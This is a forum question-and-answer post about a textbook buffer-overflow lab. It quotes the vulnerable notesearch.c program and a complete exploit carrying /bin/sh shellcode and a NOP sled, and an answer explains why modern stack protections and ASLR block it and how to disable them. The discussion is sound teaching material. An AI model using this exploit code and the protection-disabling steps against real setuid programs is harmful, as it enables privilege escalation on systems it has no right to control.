Rohit
Rohit

Reputation: 1

buffer overflow query in 32 bit x86 in Linux

I have been reading through Jon Erickson's book "Hacking: The Art of Exploitation, 2nd Edition".

and I needed some clarification regarding the notesearch.c program which has a buffer overflow vulnerability and the exploit program exploit_notesearch.c

The code for notesearch.c is below:

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

#define FILENAME "/var/notes"

int print_notes(int, int, char *); // Note printing function.
int find_user_note(int, int); // Seek in file for a note for user.
int search_note(char *, char *); // Search for keyword function.
void fatal(char *); // Fatal error handler

int main(int argc, char *argv[]) {
    int userid, printing=1, fd; // File descriptor
    char searchstring[100];

    if(argc > 1) // If there is an arg,
        strcpy(searchstring, argv[1]); // that is the search string;
    else // otherwise,
        searchstring[0] = 0; // search string is empty.

    userid = getuid();
    fd = open(FILENAME, O_RDONLY); // Open the file for read-only access.
    if(fd == -1)
        fatal("in main() while opening file for reading");

    while(printing)
        printing = print_notes(fd, userid, searchstring);
    printf("-------[ end of note data ]-------\n");
    close(fd);
}

// A function to print the notes for a given uid that match
// an optional search string;
// returns 0 at end of file, 1 if there are still more notes.
int print_notes(int fd, int uid, char *searchstring) {
    int note_length;
    char byte=0, note_buffer[100];

    note_length = find_user_note(fd, uid);
    if(note_length == -1) // If end of file reached,
        return 0; // return 0.

    read(fd, note_buffer, note_length); // Read note data.
    note_buffer[note_length] = 0; // Terminate the string.

    if(search_note(note_buffer, searchstring)) // If searchstring found,
        printf(note_buffer); // print the note.
    return 1;
}

// A function to find the next note for a given userID;
// returns -1 if the end of the file is reached;
// otherwise, it returns the length of the found note.
int find_user_note(int fd, int user_uid) {
    int note_uid=-1;
    unsigned char byte;
    int length;

    while(note_uid != user_uid) {//Loop until a note for user_uid is found.
        if(read(fd, &note_uid, 4) != 4) // Read the uid data.
            return -1; // If 4 bytes aren't read, return end of file code.
        if(read(fd, &byte, 1) != 1) // Read the newline separator.
            return -1;

        byte = length = 0;
        while(byte != '\n') { 
            if(read(fd, &byte, 1) != 1) // Read a single byte.
                return -1; // If byte isn't read, return end of file code.
            length++;
        }
    }
    lseek(fd, length * -1, SEEK_CUR); 

    printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
    return length;
}

// A function to search a note for a given keyword;
// returns 1 if a match is found, 0 if there is no match.
int search_note(char *note, char *keyword) {
    int i, keyword_length, match=0;

    keyword_length = strlen(keyword);
    if(keyword_length == 0) // If there is no search string,
        return 1; // always "match".

    for(i=0; i < strlen(note); i++) { // Iterate over bytes in note.
        if(note[i] == keyword[match]) // If byte matches keyword,
            match++; // get ready to check the next byte;
        else { // otherwise,
            if(note[i] == keyword[0]) // if that byte matches first keyword byte,
                match = 1; // start the match count at 1.
            else
                match = 0; // Otherwise it is zero.
        }
        if(match == keyword_length) // If there is a full match,
            return 1; // return matched.
    }
    return 0; // Return not matched.
}

Also the code for exploit_notesearch.c is below:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
    "\xe1\xcd\x80";

int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;
    command = (char *) malloc(200);
    bzero(command, 200); // Zero out the new memory.
    strcpy(command, "./notesearch \'"); // Start command buffer.
    buffer = command + strlen(command); // Set buffer at the end.
    if(argc > 1) // Set offset.
        offset = atoi(argv[1]);
    ret = (unsigned int) &i - offset; // Set return address.
    for(i=0; i < 160; i+=4) // Fill buffer with return address.
        *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Build NOP sled.
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
    strcat(command, "\'");
    system(command); // Run exploit.
    free(command);
}

Now I have understood that the first argument passed to executable of notesearch.c when it is run by the system function from exploit_notesearch.c executable would eventually overwrite the return address stored in stack frame of main in notesearch.c with an address of an element of the array with NOP instructions, but here is my query when the stack of main is popped and return address is populated back in eip and instructions in eip would be executed the operating system would see that eip is no longer pointing to an address which is in the bounds of text segment (the address stored in eip would be the address of an element containing the NOP instructions and not in bounds of text segment) and exits giving a segmentation fault. So does this mean that wherever memory segmentation and such protection is there these types of buffer overflows are rendered useless?

What I don't understand is that I myself am running Linux (Linux Mint 17) and have a 32 bit machine on an Intel x86 processor. But when I compile the notesearch.c and exploit_notesearch.c and run it in the same fashion as mentioned in Jon's book I always get a segmentation fault.

Also I would like to take this opportunity to thank Jon for an excellent book which has cleared my concepts as to what exactly happens when a executable loads into memory and starts executing.

Thanks,

Rohit

Upvotes: 0

Views: 559

Answers (1)

mzpq
mzpq

Reputation: 404

Yes, that is likely to be the case, you probably have compile-time stack protections by default in gcc.

Modern Linux systems generally consist of and produce produce executables that do not have executable stacks, contain stack canaries, and may reorder variables on the stack in memory, especially arrays. You can try compiling with -fno-stack-protector as a flag to gcc. Depending on your kernel, you may need paxctl as well (but you probably are not running a PaX kernel)

In short, no, stack overflows are not useless on Linux, but in general they are the least desirable bug class, which is the opposite of how it used to be.

Your best chance of exploiting a stack overflow in the modern era, assuming it's even possible in a specific case, is normally by using it for partial/targeted overwrites to create a "primitive" (i.e. arbitrary relative read or write) that is more powerful than a simple linear data corruption. You might not have this option in contrived programs though. The idea is corrupting application specific state/logic by overwriting other stack variables as opposed to simply overwriting saved CPU registers. This is mitigated by variable reordering in some cases though, as mentioned above- high risk types like arrays will be placed at the top of the stack where they'll overflow into a canary and not other local variables.

Try disabling the stack protections at compile time, or consider using an old VM if you want to do this exercise. Red Hat 6.2 is a nice easy target.

You'll run into issues exploiting heap overflows on modern systems as well due to basic motivations glibc has added to malloc/free. Doing textbook unlink() style overwrites will likely cause a SIGABRT as glibc will recognize the corruption before unlinking a chunk.

Maybe not in this case (I didn't read the whole thing very carefully) but you'll also have ASLR to contend with. This is a kernel feature that can be disabled via a setting in /proc- Google for "disable ASLR Linux"

Upvotes: 1

Related Questions